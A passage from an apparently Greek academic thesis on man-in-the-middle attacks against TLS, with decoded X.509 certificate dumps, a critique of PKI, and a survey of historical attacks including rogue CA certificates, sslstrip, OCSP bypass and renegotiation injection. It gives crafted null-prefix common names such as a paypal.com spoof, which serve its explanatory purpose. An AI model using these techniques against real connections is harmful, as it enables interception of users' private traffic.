1 ορίζει ότι το κλειδί μπορεί να χρησιμοποιηθεί στην πλευρά του εξυπηρετητή
μια συνδεσης TLS, ενω το id-pkix 3 4 ορίζει ότι το κλειδί μπορεί να
χρησιμοποιηθεί για να ασφαλίσει ηλεκτρονικό ταχυδρομείο.
Ακολουθεί ένα παράδειγμα ενός αποκωδικοποιημένου πιστοποιητικου X.509 για το
www.freesoft.org, που παρήχθει μέσω της βιβλιοθήκης OpenSSL. Το πραγματικό
πιστοποιητικό είναι περίπου 1 kB σε μέγεθος. Εκδόθηκε από την Thawte (η οποία από
τότε αγοράστηκε από την VeriSign), όπως μπορουμε να δουμε στο πεδίο του εκδότη. Το
πεδίο Subject (υποκείμενο) περιέχει αρκετές προσωπικές πληροφορίες, αλλά το πιο
σημαντικό κομμάτι είναι το πεδίο common name (CN), που θα πρέπει να αντιστοιχεί με
το όνομα του εξυπηρετητή που αυθεντικοποιείται. Επίσης περιλαμβάνεται και ένα
δημόσιο κλειδί RSA, που ακολουθείται από την υπογραφή, η οποία έχει υπολογιστεί
μέσω της υπογραφής με το ιδιωτικό κλειδί της Thawte του αποτελέσματος της
συνάρτησης κατακερματισμου MD5 για το πρωτο τμήμα του πιστοποιητικου.
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 7829 (0x1e95)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc,
OU=Certification Services Division,
CN=Thawte Server CA/[email protected]
Validity
Not Before: Jul 9 16:04:02 1998 GMT
Not After : Jul 9 16:04:02 1999 GMT
Subject: C=US, ST=Maryland, L=Pasadena, O=Brent Baccala,
OU=FreeSoft, CN=www.freesoft.org/[email protected]
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:b4:31:98:0a:c4:bc:62:c1:88:aa:dc:b0:c8:bb:
33:35:19:d5:0c:64:b9:3d:41:b2:96:fc:f3:31:e1:
66:36:d0:8e:56:12:44:ba:75:eb:e8:1c:9c:5b:66:
70:33:52:14:c9:ec:4f:91:51:70:39:de:53:85:17:
16:94:6e:ee:f4:d5:6f:d5:ca:b3:47:5e:1b:0c:7b:
c5:cc:2b:6b:c1:90:c3:16:31:0d:bf:7a:c7:47:77:
8f:a0:21:c7:4c:d0:16:65:00:c1:0f:d7:b8:80:e3:
Δημήτρης Μωραϊτης 33
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
d2:75:6b:c1:ea:9e:5c:5c:ea:7d:c1:a1:10:bc:b8:
e8:35:1c:9e:27:52:7e:41:8f
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
93:5f:8f:5f:c5:af:bf:0a:ab:a5:6d:fb:24:5f:b6:59:5d:9d:
92:2e:4a:1b:8b:ac:7d:99:17:5d:cd:19:f6:ad:ef:63:2f:92:
ab:2f:4b:cf:0a:13:90:ee:2c:0e:43:03:be:f6:ea:8e:9c:67:
d0:a2:40:03:f7:ef:6a:15:09:79:a9:46:ed:b7:16:1b:41:72:
0d:19:aa:ad:dd:9a:df:ab:97:50:65:f5:5e:85:a6:ef:19:d1:
5a:de:9d:ea:63:cd:cb:cc:6d:5d:01:85:b5:6d:c8:f3:d9:f7:
8f:0e:fc:ba:1f:34:e9:96:6e:6c:cf:f2:ef:9b:bf:de:b5:22:
68:9f
Για την επικυρωση του παραπάνω πιστοποιητικου, χρειαζόμαστε ένα δευτερο
πιστοποιητικό που αντιστοιχεί στον εκδότη του πρωτου πιστοποιητικου (Thawte CA).
Αρχικά, πρέπει να επαληθευσουμε ότι το δευτερο πιστοποιητικό μπορεί να
χρησιμοποιηθεί σαν CA cert, δηλαδή για την έκδοση άλλων πιστοποιητικων μέσω της
παραμέτρου X509v3 Basic Constraints. Στη συνέχεια χρησιμοποιουμε το δημόσιο κλειδί
RSA από το πιστοποιητικό CA για να αποκωδικοποιήσουμε την υπογραφή στο πρωτο
πιστοποιητικό και να πάρουμε το MD5 hash, που θα πρέπει να ισοδυναμεί με το
πραγματικό MD5 hash υπολογισμένο στο υπόλοιπο πιστοποιητικό.
Ακολουθεί ένα παράδειγμα CA cert:
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc,
OU=Certification Services Division,
CN=Thawte Server CA/[email protected]
Validity
Not Before: Aug 1 00:00:00 1996 GMT
Not After : Dec 31 23:59:59 2020 GMT
Subject: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc,
OU=Certification Services Division,
CN=Thawte Server CA/[email protected]
Subject Public Key Info:
Δημήτρης Μωραϊτης 34
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d3:a4:50:6e:c8:ff:56:6b:e6:cf:5d:b6:ea:0c:
68:75:47:a2:aa:c2:da:84:25:fc:a8:f4:47:51:da:
85:b5:20:74:94:86:1e:0f:75:c9:e9:08:61:f5:06:
6d:30:6e:15:19:02:e9:52:c0:62:db:4d:99:9e:e2:
6a:0c:44:38:cd:fe:be:e3:64:09:70:c5:fe:b1:6b:
29:b6:2f:49:c8:3b:d4:27:04:25:10:97:2f:e7:90:
6d:c0:28:42:99:d7:4c:43:de:c3:f5:21:6d:54:9f:
5d:c3:58:e1:c0:e4:d9:5b:b0:b8:dc:b4:7b:df:36:
3a:c2:b5:66:22:12:d6:87:0d
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
07:fa:4c:69:5c:fb:95:cc:46:ee:85:83:4d:21:30:8e:ca:d9:
a8:6f:49:1a:e6:da:51:e3:60:70:6c:84:61:11:a1:1a:c8:48:
3e:59:43:7d:4f:95:3d:a1:8b:b7:0b:62:98:7a:75:8a:dd:88:
4e:4e:9e:40:db:a8:cc:32:74:b9:6f:0d:c6:e3:b3:44:0b:d9:
8a:6f:9a:29:9b:99:18:28:3b:d1:e3:40:28:9a:5a:3c:d5:b5:
e7:20:1b:8b:ca:a4:ab:8d:e9:51:d9:e2:4c:2c:59:a9:da:b9:
b2:75:1b:f6:42:f2:ef:c7:f2:18:f9:89:bc:a3:ff:8a:23:2e:
70:47
Το παραπάνω είναι ένα παράδειγμα αυτο-υπογεγραμμένου πιστοποιητικου, μιας και ο
εκδότης και το υποκείμενο είναι τα ίδια. Δεν υπάρχει τρόπος να επαληθευσουμε αυτό το
πιστοποιητικό πέρα από το να το επικυρωσουμε με τον εαυτό του. Αντ’ αυτου, τα
πιστοποιητικά ανωτερου επιπέδου έρχονται μαζί με τα προγράμματα περιήγησης ιστου,
ή άλλες εφαρμογές που χρησιμοποιουν το PKI. H Thawte είναι μία από αυτές τις Αρχές
Πιστοποίησης ανωτατου επιπέδου που αναγνωρίζεται από όλους τους μεγάλους
κατασκευαστές προγραμμάτων πλοήγησης (Microsoft, Mozilla, Google, Apple, Opera).
2.3 Ασφαλεια
Υπάρχουν μια σειρά από δημοσιευσεις για προβλήματα του PKI από τους Bruce
Schneier, Peter Gutmann, Dan Kaminsky, Moxie Marlinspike και άλλους ερευνητές
ασφαλείας.
Δημήτρης Μωραϊτης 35
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Ενα βασικό πρόβλημα έχει να κάνει με την πολυπλοκότητα και την ποιότητα του
προτυπου. Το πρότυπο Χ.509 φτιάχτηκε για να υποστηρίξει τη δομή Χ.500 αλλά τα
σημερινά σενάρια χρήσης έχουν να κάνουν κυρίως με τον παγκόσμιο ιστό. Το X.509
παρέχει υπερβολικά πολυ λειτουργικότητα όχι επαρκως ορισμένη, ενω οι διαθέσιμες
προδιαγραφές είναι μοιρασμένες σε πολλά έγγραφα από διαφορετικά σωματα
προτυποποίησης.
Από εκεί και πέρα, το X.509 έχει και μια σειρά από αρχιτεκτονικά προβλήματα:
Χρησιμοποιεί blacklisting των άκυρων πιστοποιητικων αντί για whitelisting των
έγκυρων.
Η αυθεντικοποίηση ταυτότητας, ιδιοτήτων και πολιτικής του πιστοποιητικου
συνδυάζεται σε ένα, πράγμα που εγείρει ζητήματα ιδιωτικότητας.
Οι Αρχές Πιστοποίησης δε μπορουν να περιορίσουν τις αρχές κατωτερου
επιπέδου ως προς τον χωρο ονομάτων των πιστοποιητικων που εκδίδουν. Σαν
αποτέλεσμα, στο διαδίκτυο υπάρχει ένας μεγάλος αριθμός CA οι οποίες είναι
πρακτικά αδυνατον να κατηγοριοποιηθουν ως προς τις πολιτικές τους. Η
ανάθεση αρμοδιοτήτων στα πλαίσια ενός οργανισμου δεν μπορεί να
υποστηριχθεί, παρόλο που πρόκειται για συχνή απαίτηση.
Οι αλυσίδες πιστοποιητικων που είναι το αποτέλεσμα αρχων πιστοποίησης
χαμηλότερου επιπέδου καθιστουν την επικυρωση συνθετη και ακριβή σε
επεξεργαστική ισχυ. Η σημασιολογία επικυρωσης μονοπατιου μπορεί να είναι
αμφίσιμη, ενω υποστηρίζεται μόνο με ιεραρχικό τρόπο η εμπιστοσυνη σε τρίτα
μέρη και όχι αμφίδρομες σχέσεις εμπιστοσυνης.
Η υποστήριξη ανάκλησης πιστοποιητικων έχει σημαντικές αδυναμίες και δεν
υποστηρίζεται από πολλές υλοποιήσεις.
Εξίσου σοβαρά προβλήματα υπάρχουν και με τις εμπορικές αρχές πιστοποίησης:
Το επιχειρηματικό τους μοντέλο βασίζεται στην αγορά πιστοποιητικων από τα
υποκείμενα που πιστοποιουνται και όχι όσους ζητουν την επαλήθευση κάποιου
πιστοποιητικου. Οπότε συνήθως επιλέγονται οι πιο οικονομικές και όχι οι πιο
ασφαλείς προσφορές.
Οι αρχές πιστοποίησης δεν παρέχουν τελικά σχεδόν καμία εγγυηση στον τελικό
χρήστη.
Δημήτρης Μωραϊτης 36
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Η ημερομηνία λήξης των πιστοποιητικων, που κανονικά θα έπρεπε να
χρησιμοποιείται για να σηματοδοτεί το χρόνο για τον οποίο η δυναμη του κλειδιου
θεωρείται επαρκής, χρησιμοποιείται από τις αρχές απλά για την χρέωση
επεκτάσεων της διάρκειας των πιστοποιητικων.
Στα προγράμματα πλοήγησης και στις λοιπές εφαρμογές που έρχονται με μια
προεγκατεστημένη λίστα πιστοποιητικων CA, η ασφάλεια είναι αυτή της πιο
αδυναμης Αρχής Πιστοποίησης. Υπάρχουν πολυ αδυναμες αρχές πιστοποίησης
που υποστηρίζονται από δημοφιλείς εφαρμογές.
Υλοποιήσεις του X.509 πάσχουν από σχεδιαστικά προβλήματα, bugs, ή διαφορετικές
ερμηνείες των προτυπων και έχουν δημοσιευτεί μια σειρά από επιθέσεις στο X.509.
Στην επόμενη ενότητα θα μελετήσουμε αναλυτικά κάποιες από αυτές που
χρησιμοποιουν αδυναμίες του X.509 ενάντια σε συνδέσεις TLS.
Δημήτρης Μωραϊτης 37
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Δημήτρης Μωραϊτης 38
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
3. Επιθεσεις man-in-the-middle στο SSL/TLS
3.1 Self signed certificate attack
Το πιο απλό σενάριο επίθεσης ενδιάμεσου σε μια συνδεση TLS από είναι αυτό της
εγκαθίδρυσης μιας TLS συνδεσης ανάμεσα στον πελάτη και τον ενδιάμεσο και άλλης
μίας ανάμεσα στον ενδιάμεσο και το εξυπηρετητή, με τη χρήση ενός πιστοποιητικου που
είναι υπογεγραμμένο από τον ίδιο τον ενδιάμεσο αντί για μια αναγνωρισμένη Aρχή
Πιστοποίησης. Ο ενδιάμεσος δηλαδή λειτουργεί σαν εξυπηρετητής όταν επικοινωνεί με
τον πελάτη και σαν client όταν επικοινωνεί με τον σέρβερ.
Στην περίπτωση αυτή, οι περισσότερες εφαρμογές πελάτη εμφανίζουν κάποιο μήνυμα
λάθους, αλλά δίνουν τη δυνατότητα στο χρήστη να αποδεχτεί το πιστοποιητικό και να
προχωρήσει με τη συνδεση. Η πλειοψηφία των χρηστων εφαρμογων δεν είναι
εξοικειωμένοι με τα ζητήματα ασφαλείας και πολυ λιγότερο με το πως λειτουργεί η
υποδομή δημοσίου κλειδιου του διαδικτυου, οπότε συνηθίζουν να αγνοουν το σφάλμα
και να αποδέχονται το πιστοποιητικό.
Στην ενότητα “εργαλεία που αναπτυχθηκαν” παρουσιάζεται ένα παράδειγμα μιας τέτοιας
επίθεσης, με τη βοήθεια του εργαλείου TwistedEve.
3.2 Compelled certificate creation attack
Ακόμα πιο αποτελεσματικές είναι οι επιθέσεις με πλαστά πιστοποιητικά, που έχουν
όμως υπογραφεί από μία από τις πολλές Αρχές Πιστοποίησης (CAs) που εμπιστευονται
οι εφαρμογές πελάτη (π.χ. web browsers). Οποιοσδήποτε έχει υπό τον έλεγχό του το
ιδιωτικό κλειδί μιας CA, μπορεί να κατασκευάσει και να υπογράψει πιστοποιητικά για
οποιοδήποτε domain name τα οποία θα γίνονται αποδεκτά από τους web browsers και
όλες τις εφαρμογές πελάτη που εμπιστευονται αυτή την αρχή.
Με το πιστοποιητικό αυτό, μπορεί κανείς να πραγματοποιήσει επιθέσεις ενδιάμεσου με
τον τρόπο που περιγράφεται στην παραπάνω ενότητα, μόνο που στην περίπτωση αυτή
η εφαρμογή πελάτη δεν προειδοποιεί καν τον τελικό χρήστη ότι υπάρχει κάποιο
πρόβλημα, αφου τα πιστοποιητικά επαληθευονται επιτυχως και δεν υπάρχει κανένας
απλός τρόπος για να εξακριβωσει ο χρήστης ότι η συνδεσή του δέχεται επίθεση.
Πρόσβαση στα πιστοποιητικά αναγνωρισμένων αρχων πιστοποίησης μπορουν να
έχουν:
1. Εργαζόμενοι στις αρχές αυτές, που ενδέχεται να καταχραστουν τα πιστοποιητικά
είτε αυτοβουλως, είτε στα πλαίσια της επίσημης πολιτικής της εταιρίας.
Δημήτρης Μωραϊτης 39
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
2. Επιτιθέμενοι hackers/crackers που εκμεταλλευονται λάθη και παραλείψεις
ασφαλείας της αρχής για να αποκτήσουν πρόσβαση.
3. Κυβερνήσεις κρατων ή άλλες ισχυρές οντότητες που μπορουν με νόμιμα ή μη
μέσα να υποχρεωσουν τις αρχές πιστοποίησης να τους δωσουν την πρόσβαση
που επιθυμουν. Μάλιστα, κάποιες αρχές πιστοποίησης προμηθευουν ανοιχτά
κυβερνήσεις κρατων με υπηρεσίες και προϊόντα που διευκολυνουν τις “νόμιμες
υποκλοπές” επικοινωνιων των πολιτων τους.
Επιθέσεις αυτου του τυπου είναι γνωστές και φαίνεται πως πραγματοποιουνται εδω και
περισσότερο από μια δεκαετία αλλά δεν είχαν πάρει ιδιαίτερη δημοσιότητα μέχρι τα τέλη
του 2009 όταν ο Dan Kaminsky παρουσίασε το “Black Ops of PKI” στο 26ο Chaos
Communication Congress, και λίγους μήνες αργότερα οι Christopher Soghoian και Sid
Stamm εξέδωσαν το άρθρο “Certified Lies: Detecting and Defeating Government
Interception Attacks Against SSL”. Πλέον, όλο και περισσότεροι ερευνητές ασφαλείας
τονίζουν τα προβλήματα της υποδομής δημοσίου κλειδιου του διαδικτυου και τη
δυνατότητα πραγματοποίησης επιθέσεων ενδιάμεσου που δίνει σε οποιονδήποτε έχει
την εξουσία να εξαναγκάσει ή τα χρήματα για να εξαγοράσει οποιαδήποτε
αναγνωρισμένη Αρχή Πιστοποίησης.
Ο Dan Kaminsky περιγράφει αυτή την πλευρά της αλυσίδας εμπιστοσυνης των Αρχων
Πιστοποίησης ως εξής:
“Μπορείς να πας σε μια Αρχή Πιστοποίησης, να τους δώσεις ένα μάτσο χρήματα
και να πάρεις ένα root certificate, αρκεί να υποσχεθείς ότι θα είσαι καλός. Δεν είναι
ακριβό, δεν είναι δύσκολο και υπάρχει ένας άγνωστος αριθμός εταιριών εκεί έξω -
όχι μόνο οι αρχές πιστοποίησης, αλλά και όλες οι εταιρίες που έχουν ενδιάμεσα
πιστοποιητικά - όλοι αυτοί μπορούν να εκδώσουν πιστοποιητικά για το domain
σου.”
Παρακάτω ακολουθουν κάποια πρόσφατα περιστατικά διαρροής ή κατάχρησης
πιστοποιητικων CA που έγιναν δημοσίως γνωστά:
Το Μάρτιο του 2011, η Comodo, η δευτερη μεγαλυτερη Αρχή Πιστοποίησης που
έχει πιστοποιήσει ¼ με ⅕ όλων των domain names στο διαδίκτυο, παραβιάστηκε
από έναν Ιρανό hacker 21 ετων συμφωνα με το κείμενο που δημοσίευσε ο ίδιος.
Σαν αποτέλεσμα παρήχθησαν 9 πλαστά πιστοποιητικά για τα domains
mail.google.com, www.google.com, login.yahoo.com, login.skype.com,
Δημήτρης Μωραϊτης 40
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
login.live.com & addons.mozilla.com. Μέσα στον ίδιο μήνα έγιναν άλλες δυο
παραβιάσεις στην Comodo και ένα μήνα μετά άλλη μία.
Τον Απρίλη του 2011, ο hacker της Comodo παραβίασε και την Diginotar, μια
ολλανδική Αρχή Πιστοποίησης. Κατασκευάστηκε άγνωστος αριθμός
πιστοποιητικων για σειρά από domain names, ανάμεσα στα οποία και το
google.com. Συμφωνα με έρευνα της Trend Micro, τα πιστοποιητικά
εντοπίστηκαν σε περισσότερα από 40 δίκτυα Ιρανικων ISP και
χρησιμοποιήθηκαν για πραγματοποίηση επιθέσεων ενδιάμεσου σε Ιρανους
πολίτες, πιθανότατα από την Ιρανική κυβέρνηση. Αξίζει να σημειωθεί ότι το Ιράν
είναι μία από τις λίγες χωρες που δεν έχει υπό τον έλεγχό της κάποια
αναγνωρισμένη Αρχή Πιστοποίησης.
Τον Μάη του 2011, το EFF αποκάλυψε αναφορές μιας επίθεσης ενδιάμεσου στο
Facebook.com από την κυβέρνηση της Συρίας, εν μέσω κοινωνικων
αναταραχων. Η επίθεση χρησιμοποιουσε αυτο-υπογεγγραμένο πιστοποιητικό
οπότε έγινε ευκολα αντιληπτή.
Ο hacker της Comodo ανέλαβε την ευθυνη τον Σεπτέμβρη του 2011 για
παραβίαση και της Αρχής Πιστοποίησης GlobalSign. Η εταιρεία επιβεβαίωσε ότι
υπήρξε επίθεση αλλά αρνήθηκε ότι διέρευσαν πιστοποιητικά.
Τον Φλεβάρη του 2012, η Trustwave παραδέχτηκε ότι εξέδωσε πιστοποιητικό για
εταιρεία που της επιτρέπει να πραγματοποιεί επιθέσεις ενδιάμεσου σε συνδέσεις
TLS τρίτων. Μετά από επικρίσεις το πιστοποιητικό ανεκλήθη και η Trustwave
εξέδωσε ανακοίνωση ότι θα σταματήσει να εκδίδει αντίστοιχα πιστοποιητικά.
3.3 Short Chosen-Prefix collisions for MD5 and the creation of a rogue CA
certificate
Το Δεκέμβρη του 2008, οι Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen
Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger δημοσίευσαν μία επίθεση που
αξιοποιεί αδυναμία του MD5 και μέσω της οποίας κατάφεραν να παράξουν ένα
πιστοποιητικό μιας πλαστής αρχής πιστοποίησης, το οποίο ήταν αποδεκτό απ’ όλους
τους browsers της εποχής και μέσω του οποίου μπορουσαν να πραγματοποιήσουν
επιθέσεις ενδιάμεσου σε οποιοδήποτε domain name.
Ανακάλυψαν ότι ένα από τα πιστοποιητικά της RapidSSL (έχει εξαγοραστεί πλέον από
τη Verisign) χρησιμοποιουσε τον αλγόριθμο κατακερματισμου MD5. Νωρίτερα την ίδια
χρονιά οι Stevens & Lenstra δημοσίευσαν μία Chosen Prefix Collision Attack για τον
Δημήτρης Μωραϊτης 41
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
MD5 η οποία δίνει τη δυνατότητα κατασκευής μιας συμβολοσειράς X τέτοια ωστε,
δεδομένων δυο γνωστων προθεμάτων Α & Β, να ισχυει ότι MD5(A+X) == MD5(B+X).
Αυτή την επίθεση χρησιμοποίησαν οι Sotirov, Stevens κ.α. προκειμένου να παράξουν
δυο πιστοποιητικά για διαφορετικά ονόματα και δημόσια κλειδιά υποκειμένου, αλλά με
ολόιδια υπογραφή MD5. Με τον τρόπο αυτό κατάφεραν να πείσουν την RapidSSL να
υπογράψει ουσιαστικά και τα δυο πιστοποιητικά, ένα από τα οποία είχε φαινομενικά
έγκυρα στοιχεία εισόδου, ενω το δευτερο είχε ένα πλαστό όνομα και το πεδίο Basic
Constraints να ορίζει ότι το συγκεκριμένο πιστοποιητικό ανήκει σε CA. Με
υπογεγραμμένο πλέον πιστοποιητικό αυτό, οι συντάκτες μπορουσαν να υπογράψουν
οποιοδήποτε πιστοποιητικό και να πραγματοποιήσουν επιθέσεις ενδιάμεσου σε
συνδέσεις TLS.
3.4 SSLSniff
Το 2002, ο Moxie Marlinspike δημοσίευσε το sslsniff, ένα εργαλείο για επιθέσεις
ενδιάμεσου σε συνδέσεις https, που αξιοποιουσε την ελλιπή επαλήθευση των Basic
Constrains των πιστοποιητικων X.509 από τον Internet Explorer της εποχής, αλλά και
άλλων εφαρμογων πελάτη. Χρησιμοποιουσε δηλαδή σαν CA certificates, πιστοποιητικά
που ήταν έγκυρα μεν για κόμβους φυλλα στην ιεραρχία του PKI, αλλά δεν προοριζόταν
για υπογραφή άλλων πιστοποιητικων.
Το sslsniff έγινε συντομα το ντε φάκτο εργαλείο γενικής χρήσης για επιθέσεις
ενδιάμεσου στο TLS/SSL ενω το 2009 επεκτάθηκε με υποστήριξη για νέες επιθέσεις του
ίδιου ερευνητή, την null prefix attack σε πιστοποιητικά X.509, μια επίθεση στο Online
Certificate Status Protocol (OSCP), καθως και μια τρίτη επιλογή που αξιοποιεί την null
prefix attack και τους μηχανισμους αυτόματων ενημερωσεων εφαρμογων πελάτη για να
εγκαταστήσει και να εκτελέσει αυθαίρετο κωδικα στο συστημα του τελικου χρήστη η
επικοινωνία του οποίου υποκλέπτεται.
3.4.1Null prefix attack
Η επίθεση αυτή αξιοποιεί τη διαφορετική ερμηνεία που έχει το πεδίο του ονόματος
υποκειμένου (common name) από τις Αρχές Πιστοποίησης και τις περισσότερες
εφαρμογές πελάτη, αν στο πεδίο του ονόματος προστεθεί ο χαρακτήρας \0 (NULL). Τα
πιστοποιητικά X.509 αποθηκευουν το common name σαν συμβολοσειρά της γλωσσας
Pascal, που ξεκινά με το μήκος της συμβολοσειράς και ακολουθουν ισάριθμοι
χαρακτήρες με οποιονδήποτε κωδικό οποιοσδήποτε χαρακτήρες ASCII.
Δημήτρης Μωραϊτης 42
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Μπορουμε για παράδειγμα κατασκευάσουμε μια αίτηση υπογραφής πιστοποιητικου και
ορίσουμε το common name ως εξής:
www.paypal.com\0.thoughtcrime.org
H CA όπου θα στείλουμε την αίτηση, θα αγνοήσει το πρόθεμα και θα εξετάσει το root
domain thoughtcrime.org για το οποίο θεωρουμε ότι μπορουμε να αποδείξουμε πως
έχουμε κυριότητα, οπότε θα υπογράψει το πιστοποιητικό μας. Οι περισσότερες όμως
υλοποιήσεις χειρίζονται το πεδίο common name σαν μια συμβολοσειρά της γλωσσας C,
οι οποίες τερματίζονται με τον χαρακτήρα \0, πράγμα που σημαίνει ότι μια συγκριση
ανάμεσα στο common name που έχουμε ορίσει και στο www.paypal.com, θα έδειχνε ότι
οι συμβολοσειρές ταυτίζονται. Σαν αποτέλεσμα, ο κάτοχος του πιστοποιητικου για το
www.paypal.com\0.thoughtcrime.org μπορεί να χρησιμοποιήσει το πιστοποιητικό αυτό
για να πραγματοποιήσει επιθέσεις ενδιάμεσου σε συνδέσεις που απευθυνονται στο
www.paypal.com.
Στην περίπτωση μάλιστα του Mozilla Firefox και της σχετικής βιβλιοθήκης NSS που
χρησιμοποιεί, είναι εφικτό να κατασκευαστεί πιστοποιητικό που να επικυρωνεται για
οποιοδήποτε common name ως εξής:
*\0.thoughtcrime.org
3.4.2 OSCP attack
Το πρωτόκολλο OSCP αναπτυχθηκε για να υποστηριχθεί καλυτερα η ανάγκη
ανάκλησης πιστοποιητικων. Καθως όλο και περισσότερα πιστοποιητικά πρέπει να
ανακληθουν, δεν είναι πλέον αποτελεσματικές οι παλιότερες μέθοδοι της διατήρηση
μεγάλων λιστων ανάκλησης πιστοποιητικων που πρέπει να ενημερωνονται χειροκίνητα
για κάθε Αρχή Πιστοποίησης.
Το OSCP υποστηρίζει αιτήσεις από εφαρμογές πελάτη που θέλουν να ελέγξουν την
εγκυρότητα κάποιου πιστοποιητικου. Ο Mozilla Firefox για παράδειγμα, όταν του
παρουσιαστεί ένα πιστοποιητικό για το www.ebay.com που δεν έχει δει πρόσφατα, πριν
το αποδεχτεί θα κάνει μια γρήγορη συνδεση στον εκδότη του πιστοποιητικου για να
ρωτήσει αν το πιστοποιητικό θα πρέπει να θεωρείται ακόμα έγκυρο.
Δημήτρης Μωραϊτης 43
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Ο Moxie Marlinspike έδειξε ότι αν καταρρίψουμε την αίτηση αυτή και επιστρέψουμε μια
απάντηση λάθους στα πλαίσια του πρωτοκόλλου OSCP με την τιμή 3 που αντιστοιχεί
στο σήμα tryLater, οι περισσότερες υλοποιήσεις δεν θα εμφανίσουν κάποια ένδειξη
σφάλματος στο χρήστη και θα προχωρήσουν με τη συνδεση.
3.5 SSLstrip
To 2009, ο Moxie Marlinspike παρουσίασε στο συνέδριο Black Hat το sslstrip. Πρόκειται
για ένα εργαλείο που ουσιαστικά μετατρέπει τις HTTPS συνδέσεις σε απλές HTTP
συνδέσεις χωρίς SSL/TLS ενω ταυτόχρονα αξιοποιεί κάποιες τεχνικές για να πείσει τους
χρήστες ότι παραμένουν σε ασφαλή συνδεση.
Συγκεκριμένα, αξιοποιεί το γεγονός ότι σπανίως οι τελικοί χρήστες μπαίνουν απευθείας
σε ασφαλείς συνδέσεις γράφοντας https στη γραμμή διευθυνσης της εφαρμογής
πλοήγησης. Συνήθως μπαίνουν πρωτα σε κάποια σελίδα μέσω απλου http και στη
συνέχεια επιλέγουν κάποιο συνδεσμο που τους οδηγεί σε κάποια σελίδα με https, π.χ.
για login σε υπηρεσίες.
Το SSLstrip είναι ουσιαστικά ένας proxy server που παρακολουθεί το περιεχόμενο της
επικοινωνίας και μετατρέπει τους συνδέσμους https σε απλό http. Αν ο χρήστης επιλέξει
έναν από τους συνδέσμους που αρχικά χρησιμοποιουσαν https, τότε το SSLstrip
συνδέεται με https σαν πελάτης στον πραγματικό εξυπηρετητή και προωθεί τα δεδομένα
που λαμβάνει στον χρήστη μέσω απλου http. Προκειμένου ο χρήστης να μην αντιληφθεί
τη διαφορά, το SSLstrip επίσης αλλάζει το favicon του κάθε ιστοχωρου που εμφανίζεται
στην μπάρα της εφαρμογής πλοήγησης, αντικαθιστωντας το με μία κλειδαριά που
προσομοιωνει τη συμπεριφορά πολλων εφαρμογων πλοήγησης σε ασφαλές συνδέσεις.
Επιπλέον, αφαιρεί τα ασφαλή cookies, τα sessions, το browser caching και τη συμπίεση
για καλυτερα αποτελέσματα.
Ο δημιουργός αναφέρει εντυπωσιακά ποσοστά επιτυχίας σε σχετικές δοκιμές που
έκανε, όπου σε καμία περίπτωση δεν φάνηκε να υποψιάστηκε κάποιος χρήστης ότι η
συνδεσή του δεν είναι ασφαλής και ως εκ τουτου να απέφυγε την αποστολή ευαίσθητων
πληροφοριων.
3.6 Renegotiation attack
Το TLS επιτρέπει την επαναδιαπραγμάτευση των κλειδιων κρυπτογράφησης σε ήδη
κρυπτογραφημένες συνδέσεις. Οι Ray & Dispensa εντόπισαν μια αδυναμία σε
υλοποιήσεις του TLS που επιτρέπουν σε έναν επιτιθέμενο να εισάγει τα δικά του
Δημήτρης Μωραϊτης 44
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
δεδομένα στην κρυπτογραφημένη συνδεση κατά τη διάρκεια μιας τέτοιας
επαναδιαπραγμάτευσης (Ray & Dispensa 2009).
Ο επιτιθέμενος δεν μπορεί να αποκρυπτογραφήσει ουτε τις αιτήσεις του πελάτη, ουτε τις
απαντήσεις του εξυπηρετητή, μπορεί όμως να παρεμβάλλει τα δικά του δεδομένα προς
τον εξυπηρετητή.
Η επαναδιαπραγμάτευση γίνεται στα πλαίσια υπάρχουσας συνδεσης TLS, με τα πακέτα
χειραψίας να κρυπτογραφουνται μαζί με τα πακέτα εφαρμογής, χωρίς όμως να
συνδέονται με άλλο τρόπο με το συγκεκριμένο κανάλι. Το γεγονός αυτό δίνει ένα
παράθυρο στον επιτιθέμενο.
Η απλουστερη μορφή της επίθεσης φαίνεται παρακάτω:
Client Attacker Server
------ ------- ------
<----------- Handshake ---------->
<======= Initial Traffic ========>
<-------------------------- Handshake ============================>
<======================== Client Traffic ==========================>
Ο επιτιθέμενος συνδέεται καταρχήν με τον εξυπηρετητή όπου μπορεί να στείλει έναν
αυθαίρετο αριθμό αιτήσεων. Η κίνηση αυτή είναι κρυπτογραφημένη και σημειωνεται ως
== στο παραπάνω σχήμα. Οταν είναι έτοιμος, παρεμβάλλεται στη συνδεση μπροστά
από τον πελάτη και προωθεί τα πακέτα στον εξυπηρετητή. Ο πελάτης πραγματοποιεί
χειραψία με τον εξυπηρετητή και από το σημείο αυτό επικοινωνουν απευθείας. Η αρχική
χειραψία φτάνει στον επιτιθέμενο χωρίς κρυπτογράφηση, αλλά η δευτερη χειραψία είναι
κρυπτογραφημένη και περνάει από το κανάλι του επιτιθέμενου. Ο πελάτης δεν γνωρίζει
